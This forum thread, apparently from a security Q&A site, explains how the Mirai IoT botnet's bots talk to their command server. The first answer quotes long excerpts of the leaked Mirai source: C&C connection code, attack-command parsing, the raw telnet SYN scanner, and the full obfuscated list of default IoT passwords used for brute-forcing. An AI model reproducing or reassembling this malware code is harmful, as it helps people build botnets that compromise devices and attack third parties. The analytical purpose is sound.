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I'm wondering how Mirai based botnets work. Specifically, I want to understand the communication mechanisms between the C&C servers and its bots. After reading this question I've understood that a bot finds a C&C server with a DNS query after being infected.
But how does the C&C server communicate with its bots? For example if it wants them to attack. Which protocols are used here? Is the communication encrypted?
As a programmer I'd love to see answers with reference to the Mirai source code.
I guess i'll answer direct to your question since you mentioned you've understood that 'a bot finds a C&C server with a DNS query after being infected. (i'll get back to this statement at the bottom)
To answer your question, we have to delve deeper elsewhere as there are many parts to it in the source code.
1. how does the C&C server communicate with its bots?
In the code you can see various areas of communication
// Set up CNC sockets
if (fd_serv == -1)
establish_connection();
and
static void establish_connection(void)
{
#ifdef DEBUG
printf("[main] Attempting to connect to CNC\n");
#endif
C&C is initialized here in this part of the code.
table_unlock_val(TABLE_CNC_DOMAIN);
entries = resolv_lookup(table_retrieve_val(TABLE_CNC_DOMAIN, NULL));
table_lock_val(TABLE_CNC_DOMAIN);
After which When Mirai is able to reach C&C successfully. The connectivity to C&C will take place.
table_unlock_val(TABLE_CNC_PORT);
srv_addr.sin_port = *((port_t *)table_retrieve_val(TABLE_CNC_PORT, NULL));
table_lock_val(TABLE_CNC_PORT);
For Mirai to get connected to the C&C, all it has to do is sent 4 bytes to the C&C.
LOCAL_ADDR = util_local_addr();
send(fd_serv, "\x00\x00\x00\x01", 4, MSG_NOSIGNAL);
send(fd_serv, &id_len, sizeof (id_len), MSG_NOSIGNAL);
if (id_len > 0)
{
send(fd_serv, id_buf, id_len, MSG_NOSIGNAL);
}
Then it will try to maintain connection here
if l == 4 && buf[0] == 0x00 && buf[1] == 0x00 && buf[2] == 0x00 {
2. For example if it wants them to attack.
For Machines infected by Mirai, they are set into infinite loop waiting for commands from the C&C Server.
When commands is received from C&C. These codes are the ones invoking the attack portion.
void attack_start(int, ATTACK_VECTOR, uint8_t, struct attack_target *, uint8_t, struct attack_option *);
Which in turn it will execute
void attack_parse(char *buf, int len)
{
int i;
uint32_t duration;
ATTACK_VECTOR vector;
uint8_t targs_len, opts_len;
struct attack_target *targs = NULL;
struct attack_option *opts = NULL;
// Read in attack duration uint32_t
if (len < sizeof (uint32_t))
goto cleanup;
duration = ntohl(*((uint32_t *)buf));
buf += sizeof (uint32_t);
len -= sizeof (uint32_t);
// Read in attack ID uint8_t
if (len == 0)
goto cleanup;
vector = (ATTACK_VECTOR)*buf++;
len -= sizeof (uint8_t);
// Read in target count uint8_t
if (len == 0)
goto cleanup;
targs_len = (uint8_t)*buf++;
len -= sizeof (uint8_t);
if (targs_len == 0)
goto cleanup;
// Read in all targs
if (len < ((sizeof (ipv4_t) + sizeof (uint8_t)) * targs_len))
goto cleanup;
targs = calloc(targs_len, sizeof (struct attack_target));
for (i = 0; i < targs_len; i++)
{
targs[i].addr = *((ipv4_t *)buf);
buf += sizeof (ipv4_t);
targs[i].netmask = (uint8_t)*buf++;
len -= (sizeof (ipv4_t) + sizeof (uint8_t));
targs[i].sock_addr.sin_family = AF_INET;
targs[i].sock_addr.sin_addr.s_addr = targs[i].addr;
}
// Read in flag count uint8_t
if (len < sizeof (uint8_t))
goto cleanup;
opts_len = (uint8_t)*buf++;
len -= sizeof (uint8_t);
// Read in all opts
if (opts_len > 0)
{
opts = calloc(opts_len, sizeof (struct attack_option));
for (i = 0; i < opts_len; i++)
{
uint8_t val_len;
// Read in key uint8
if (len < sizeof (uint8_t))
goto cleanup;
opts[i].key = (uint8_t)*buf++;
len -= sizeof (uint8_t);
// Read in data length uint8
if (len < sizeof (uint8_t))
goto cleanup;
val_len = (uint8_t)*buf++;
len -= sizeof (uint8_t);
if (len < val_len)
goto cleanup;
opts[i].val = calloc(val_len + 1, sizeof (char));
util_memcpy(opts[i].val, buf, val_len);
buf += val_len;
len -= val_len;
}
}
errno = 0;
attack_start(duration, vector, targs_len, targs, opts_len, opts);
3. Which protocols are used here?
The communication between the bots and the C&C are through “binary” protocols. Binary attacks command are passed to the QueueBuf function below and will be placed in a buffer queue.
func (this *ClientList) QueueBuf(buf []byte, maxbots int, botCata string) {
attack := &AttackSend{buf, maxbots, botCata}
this.atkQueue <- attack
}
Thereafter atkQueue channel will receive the command that is set in the buffer if the bot unit.
func (this *ClientList) worker() {
rand.Seed(time.Now().UTC().UnixNano())
for {
select {
case add := <-this.addQueue:
this.totalCount <- 1
this.uid++
add.uid = this.uid
this.clients[add.uid] = add
break
case del := <-this.delQueue:
this.totalCount <- -1
delete(this.clients, del.uid)
break
case atk := <-this.atkQueue:
if atk.count == -1 {
for _,v := range this.clients {
if atk.botCata == "" || atk.botCata == v.source {
v.QueueBuf(atk.buf)
}
}
} else {
var count int
for _, v := range this.clients {
if count > atk.count {
break
}
if atk.botCata == "" || atk.botCata == v.source {
v.QueueBuf(atk.buf)
count++
}
}
}
4. Is the communication encrypted?
Communications are not encrypted if you are thinking of SSL. If you are connected to the C&C and able see the traffic stream, the binary stream protocol together with the attack commands will be visible.
However the commands and hostname and ports are all encrypted as seen in the codes.
void table_init(void)
{
add_entry(TABLE_CNC_DOMAIN, "\x41\x4C\x41\x0C\x41\x4A\x43\x4C\x45\x47\x4F\x47\x0C\x41\x4D\x4F\x22", 30); // cnc.changeme.com
add_entry(TABLE_CNC_PORT, "\x22\x35", 2); // 23
add_entry(TABLE_SCAN_CB_DOMAIN, "\x50\x47\x52\x4D\x50\x56\x0C\x41\x4A\x43\x4C\x45\x47\x4F\x47\x0C\x41\x4D\x4F\x22", 29); // report.changeme.com
add_entry(TABLE_SCAN_CB_PORT, "\x99\xC7", 2); // 48101
Lastly, elaborating on your statement 'that a bot finds a C&C server with a DNS query after being infected.'
The bot does look for a domain name. Reason being so is that if a C&C needs a change of IP; the bot looking for the new C&C will still be able to find it. Domain names can always be pointed to different ip addresses.
5. So how does Mirai target IOT devices?
The original Mirai looks for devices with busybox installed. This answer is directed at the original Mirai. As you know Mirai source codes are now public and it is not surprising to see variants of Mirai in the wild performing different if not more sophisticated attacks.
SYN scanning on socket is done and traversing accross various target IP addresses. It's used because it's fast and the ability to probe multiple ports
// Set up raw socket scanning and payload
if ((rsck = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1)
{
#ifdef DEBUG
printf("[scanner] Failed to initialize raw socket, cannot scan\n");
#endif
exit(0);
}
Mirai will try to listen for responses from the targets after the SYN Scan
if (fake_time != last_spew)
{
last_spew = fake_time;
for (i = 0; i < SCANNER_RAW_PPS; i++)
{
struct sockaddr_in paddr = {0};
struct iphdr *iph = (struct iphdr *)scanner_rawpkt;
struct tcphdr *tcph = (struct tcphdr *)(iph + 1);
iph->id = rand_next();
iph->saddr = LOCAL_ADDR;
iph->daddr = get_random_ip();
iph->check = 0;
iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr));
if (i % 10 == 0)
{
tcph->dest = htons(2323);
}
else
{
tcph->dest = htons(23);
}
tcph->seq = iph->daddr;
tcph->check = 0;
tcph->check = checksum_tcpudp(iph, tcph, htons(sizeof (struct tcphdr)), sizeof (struct tcphdr));
paddr.sin_family = AF_INET;
paddr.sin_addr.s_addr = iph->daddr;
paddr.sin_port = tcph->dest;
sendto(rsck, scanner_rawpkt, sizeof (scanner_rawpkt), MSG_NOSIGNAL, (struct sockaddr *)&paddr, sizeof (paddr));
}
}
Finding targets are random, it will then move on to the next ip address probing again.
static ipv4_t get_random_ip(void)
{
uint32_t tmp;
uint8_t o1, o2, o3, o4;
do
{
tmp = rand_next();
o1 = tmp & 0xff;
o2 = (tmp >> 8) & 0xff;
o3 = (tmp >> 16) & 0xff;
o4 = (tmp >> 24) & 0xff;
}
while (o1 == 127 || // 127.0.0.0/8 - Loopback
(o1 == 0) || // 0.0.0.0/8 - Invalid address space
(o1 == 3) || // 3.0.0.0/8 - General Electric Company
(o1 == 15 || o1 == 16) || // 15.0.0.0/7 - Hewlett-Packard Company
(o1 == 56) || // 56.0.0.0/8 - US Postal Service
(o1 == 10) || // 10.0.0.0/8 - Internal network
(o1 == 192 && o2 == 168) || // 192.168.0.0/16 - Internal network
(o1 == 172 && o2 >= 16 && o2 < 32) || // 172.16.0.0/14 - Internal network
(o1 == 100 && o2 >= 64 && o2 < 127) || // 100.64.0.0/10 - IANA NAT reserved
(o1 == 169 && o2 > 254) || // 169.254.0.0/16 - IANA NAT reserved
(o1 == 198 && o2 >= 18 && o2 < 20) || // 198.18.0.0/15 - IANA Special use
(o1 >= 224) || // 224.*.*.*+ - Multicast
(o1 == 6 || o1 == 7 || o1 == 11 || o1 == 21 || o1 == 22 || o1 == 26 || o1 == 28 || o1 == 29 || o1 == 30 || o1 == 33 || o1 == 55 || o1 == 214 || o1 == 215) // Department of Defense
);
return INET_ADDR(o1,o2,o3,o4);
}
Mirai will then go to the next phase in a typical TCP handshake and send an ACK packet attempt to get a response from target and perform analysis if a port is open. Targeting TCP/23 and TCP/2323
last_avail_conn = 0;
while (TRUE)
{
int n;
char dgram[1514];
struct iphdr *iph = (struct iphdr *)dgram;
struct tcphdr *tcph = (struct tcphdr *)(iph + 1);
struct scanner_connection *conn;
errno = 0;
n = recvfrom(rsck, dgram, sizeof (dgram), MSG_NOSIGNAL, NULL, NULL);
if (n <= 0 || errno == EAGAIN || errno == EWOULDBLOCK)
break;
if (n < sizeof(struct iphdr) + sizeof(struct tcphdr))
continue;
if (iph->daddr != LOCAL_ADDR)
continue;
if (iph->protocol != IPPROTO_TCP)
continue;
if (tcph->source != htons(23) && tcph->source != htons(2323))
continue;
if (tcph->dest != source_port)
continue;
if (!tcph->syn)
continue;
if (!tcph->ack)
continue;
if (tcph->rst)
continue;
if (tcph->fin)
continue;
if (htonl(ntohl(tcph->ack_seq) - 1) != iph->saddr)
continue;
conn = NULL;
for (n = last_avail_conn; n < SCANNER_MAX_CONNS; n++)
{
if (conn_table[n].state == SC_CLOSED)
{
conn = &conn_table[n];
last_avail_conn = n;
break;
}
}
Once the above are done. A TCP Session is then Established between Mirai and the target.
FD_ZERO(&fdset_rd);
FD_ZERO(&fdset_wr);
for (i = 0; i < SCANNER_MAX_CONNS; i++)
{
int timeout;
conn = &conn_table[i];
timeout = (conn->state > SC_CONNECTING ? 30 : 5);
if (conn->state != SC_CLOSED && (fake_time - conn->last_recv) > timeout)
{
#ifdef DEBUG
printf("[scanner] FD%d timed out (state = %d)\n", conn->fd, conn->state);
#endif
close(conn->fd);
conn->fd = -1;
// Retry
if (conn->state > SC_HANDLE_IACS) // If we were at least able to connect, try again
{
if (++(conn->tries) == 10)
{
conn->tries = 0;
conn->state = SC_CLOSED;
}
else
{
setup_connection(conn);
#ifdef DEBUG
printf("[scanner] FD%d retrying with different auth combo!\n", conn->fd);
#endif
}
}
else
{
conn->tries = 0;
conn->state = SC_CLOSED;
}
continue;
}
Mirai will then perform password enumeration here
if (FD_ISSET(conn->fd, &fdset_rd))
{
while (TRUE)
{
int ret;
if (conn->state == SC_CLOSED)
break;
if (conn->rdbuf_pos == SCANNER_RDBUF_SIZE)
{
memmove(conn->rdbuf, conn->rdbuf + SCANNER_HACK_DRAIN, SCANNER_RDBUF_SIZE - SCANNER_HACK_DRAIN);
conn->rdbuf_pos -= SCANNER_HACK_DRAIN;
}
errno = 0;
ret = recv_strip_null(conn->fd, conn->rdbuf + conn->rdbuf_pos, SCANNER_RDBUF_SIZE - conn->rdbuf_pos, MSG_NOSIGNAL);
if (ret == 0)
{
#ifdef DEBUG
printf("[scanner] FD%d connection gracefully closed\n", conn->fd);
#endif
errno = ECONNRESET;
ret = -1; // Fall through to closing connection below
}
if (ret == -1)
{
if (errno != EAGAIN && errno != EWOULDBLOCK)
{
#ifdef DEBUG
printf("[scanner] FD%d lost connection\n", conn->fd);
#endif
close(conn->fd);
conn->fd = -1;
// Retry
if (++(conn->tries) >= 10)
{
conn->tries = 0;
conn->state = SC_CLOSED;
}
else
{
setup_connection(conn);
#ifdef DEBUG
printf("[scanner] FD%d retrying with different auth combo!\n", conn->fd);
#endif
}
}
and attempt to login using common weak passwords and default passwords.
add_auth_entry("\x50\x4D\x4D\x56", "\x5A\x41\x11\x17\x13\x13", 10); // root xc3511
add_auth_entry("\x50\x4D\x4D\x56", "\x54\x4B\x58\x5A\x54", 9); // root vizxv
add_auth_entry("\x50\x4D\x4D\x56", "\x43\x46\x4F\x4B\x4C", 8); // root admin
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x43\x46\x4F\x4B\x4C", 7); // admin admin
add_auth_entry("\x50\x4D\x4D\x56", "\x1A\x1A\x1A\x1A\x1A\x1A", 6); // root 888888
add_auth_entry("\x50\x4D\x4D\x56", "\x5A\x4F\x4A\x46\x4B\x52\x41", 5); // root xmhdipc
add_auth_entry("\x50\x4D\x4D\x56", "\x46\x47\x44\x43\x57\x4E\x56", 5); // root default
add_auth_entry("\x50\x4D\x4D\x56", "\x48\x57\x43\x4C\x56\x47\x41\x4A", 5); // root juantech
add_auth_entry("\x50\x4D\x4D\x56", "\x13\x10\x11\x16\x17\x14", 5); // root 123456
add_auth_entry("\x50\x4D\x4D\x56", "\x17\x16\x11\x10\x13", 5); // root 54321
add_auth_entry("\x51\x57\x52\x52\x4D\x50\x56", "\x51\x57\x52\x52\x4D\x50\x56", 5); // support support
add_auth_entry("\x50\x4D\x4D\x56", "", 4); // root (none)
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x52\x43\x51\x51\x55\x4D\x50\x46", 4); // admin password
add_auth_entry("\x50\x4D\x4D\x56", "\x50\x4D\x4D\x56", 4); // root root
add_auth_entry("\x50\x4D\x4D\x56", "\x13\x10\x11\x16\x17", 4); // root 12345
add_auth_entry("\x57\x51\x47\x50", "\x57\x51\x47\x50", 3); // user user
add_auth_entry("\x43\x46\x4F\x4B\x4C", "", 3); // admin (none)
add_auth_entry("\x50\x4D\x4D\x56", "\x52\x43\x51\x51", 3); // root pass
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x43\x46\x4F\x4B\x4C\x13\x10\x11\x16", 3); // admin admin1234
add_auth_entry("\x50\x4D\x4D\x56", "\x13\x13\x13\x13", 3); // root 1111
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x51\x4F\x41\x43\x46\x4F\x4B\x4C", 3); // admin smcadmin
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x13\x13\x13", 2); // admin 1111
add_auth_entry("\x50\x4D\x4D\x56", "\x14\x14\x14\x14\x14\x14", 2); // root 666666
add_auth_entry("\x50\x4D\x4D\x56", "\x52\x43\x51\x51\x55\x4D\x50\x46", 2); // root password
add_auth_entry("\x50\x4D\x4D\x56", "\x13\x10\x11\x16", 2); // root 1234
add_auth_entry("\x50\x4D\x4D\x56", "\x49\x4E\x54\x13\x10\x11", 1); // root klv123
add_auth_entry("\x63\x46\x4F\x4B\x4C\x4B\x51\x56\x50\x43\x56\x4D\x50", "\x4F\x47\x4B\x4C\x51\x4F", 1); // Administrator admin
add_auth_entry("\x51\x47\x50\x54\x4B\x41\x47", "\x51\x47\x50\x54\x4B\x41\x47", 1); // service service
add_auth_entry("\x51\x57\x52\x47\x50\x54\x4B\x51\x4D\x50", "\x51\x57\x52\x47\x50\x54\x4B\x51\x4D\x50", 1); // supervisor supervisor
add_auth_entry("\x45\x57\x47\x51\x56", "\x45\x57\x47\x51\x56", 1); // guest guest
add_auth_entry("\x45\x57\x47\x51\x56", "\x13\x10\x11\x16\x17", 1); // guest 12345
add_auth_entry("\x45\x57\x47\x51\x56", "\x13\x10\x11\x16\x17", 1); // guest 12345
add_auth_entry("\x43\x46\x4F\x4B\x4C\x13", "\x52\x43\x51\x51\x55\x4D\x50\x46", 1); // admin1 password
add_auth_entry("\x43\x46\x4F\x4B\x4C\x4B\x51\x56\x50\x43\x56\x4D\x50", "\x13\x10\x11\x16", 1); // administrator 1234
add_auth_entry("\x14\x14\x14\x14\x14\x14", "\x14\x14\x14\x14\x14\x14", 1); // 666666 666666
add_auth_entry("\x1A\x1A\x1A\x1A\x1A\x1A", "\x1A\x1A\x1A\x1A\x1A\x1A", 1); // 888888 888888
add_auth_entry("\x57\x40\x4C\x56", "\x57\x40\x4C\x56", 1); // ubnt ubnt
add_auth_entry("\x50\x4D\x4D\x56", "\x49\x4E\x54\x13\x10\x11\x16", 1); // root klv1234
add_auth_entry("\x50\x4D\x4D\x56", "\x78\x56\x47\x17\x10\x13", 1); // root Zte521
add_auth_entry("\x50\x4D\x4D\x56", "\x4A\x4B\x11\x17\x13\x1A", 1); // root hi3518
add_auth_entry("\x50\x4D\x4D\x56", "\x48\x54\x40\x58\x46", 1); // root jvbzd
add_auth_entry("\x50\x4D\x4D\x56", "\x43\x4C\x49\x4D", 4); // root anko
add_auth_entry("\x50\x4D\x4D\x56", "\x58\x4E\x5A\x5A\x0C", 1); // root zlxx.
add_auth_entry("\x50\x4D\x4D\x56", "\x15\x57\x48\x6F\x49\x4D\x12\x54\x4B\x58\x5A\x54", 1); // root 7ujMko0vizxv
add_auth_entry("\x50\x4D\x4D\x56", "\x15\x57\x48\x6F\x49\x4D\x12\x43\x46\x4F\x4B\x4C", 1); // root 7ujMko0admin
add_auth_entry("\x50\x4D\x4D\x56", "\x51\x5B\x51\x56\x47\x4F", 1); // root system
add_auth_entry("\x50\x4D\x4D\x56", "\x4B\x49\x55\x40", 1); // root ikwb
add_auth_entry("\x50\x4D\x4D\x56", "\x46\x50\x47\x43\x4F\x40\x4D\x5A", 1); // root dreambox
add_auth_entry("\x50\x4D\x4D\x56", "\x57\x51\x47\x50", 1); // root user
add_auth_entry("\x50\x4D\x4D\x56", "\x50\x47\x43\x4E\x56\x47\x49", 1); // root realtek
add_auth_entry("\x50\x4D\x4D\x56", "\x12\x12\x12\x12\x12\x12\x12\x12", 1); // root 00000000
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x13\x13\x13\x13\x13\x13", 1); // admin 1111111
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x10\x11\x16", 1); // admin 1234
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x10\x11\x16\x17", 1); // admin 12345
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x17\x16\x11\x10\x13", 1); // admin 54321
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x10\x11\x16\x17\x14", 1); // admin 123456
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x15\x57\x48\x6F\x49\x4D\x12\x43\x46\x4F\x4B\x4C", 1); // admin 7ujMko0admin
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x16\x11\x10\x13", 1); // admin 1234
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x52\x43\x51\x51", 1); // admin pass
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x4F\x47\x4B\x4C\x51\x4F", 1); // admin meinsm
add_auth_entry("\x56\x47\x41\x4A", "\x56\x47\x41\x4A", 1); // tech tech
add_auth_entry("\x4F\x4D\x56\x4A\x47\x50", "\x44\x57\x41\x49\x47\x50", 1); // mother f**ker
Communications are not encrypted if you are thinking of SSL. If you are connected to the C&C and able see the traffic stream, the binary stream protocol together with the attack commands will be visible.
Regarding Binary Data Binary Data is not really about a whole new Level 4 kind of communication. Basically sending and receiving binary data is more about the start and the finish. How do you start the sending and interpret at the end point. Again as said in the comments; Pipes and sockets communicate binary data across just the same as text data.
Some links for your reference
Well:
According to my little knowledge:
But how does the C&C server communicate with its bots?
Well, there are many ways for a botnet to communicate with the C&C: IRC (as said by Farhan.K, HTTP, etc... Most times the bot connects to a DNS to obtain easy orders. (It's not hard to create your own HTTP server that answers few single words, for example "attack victim", on every request). Other times, are connecting P2P, so every bot connects to each other and the commands sent by the botmaster are made with encryption (read more HERE).
In our current case, Mirai malware is preconfigured with a kind of address that is resolved by a single DNS query to connect with the C&C server prepared. Once the infected IoT device "memorizes" the IP (it can be changed by botnet master), it receives a binary stream with the orders/commands.
Which protocols are used here?
There are many protocols to use, HTTP with any kind of response, IRC, P2P, ... and probably some others that we can't even imagine.
In case of Mirai malware, it seems they use the following protocols:
But it would be (probably) easy to reconfigure Mirai malware to use another kind of communication protocol with the server.
Is the communication encrypted?
In case of Mirai botnet, communications are not encrypted.
In other botnets: Most times it's not required, but in case of P2P botnets, but highly recommendable.
As a programmer I'd love to see answers with reference to the source code
I would not share source code of such a dangerous tool on the net, but this time it's easy to find out what you're looking for.
Somebody named Anna-Senpai that is supposed to be the responsible of some attacks, and maybe the famous MIRAI malware; released what is supposed to be the MIRAI's source code.
As posted by the mate in the comments, you can find it here:
Also here, you can find some other useful information:
At last, my final advice: Remember that using these kind of tools is a crime, and you should never use it for own profit.
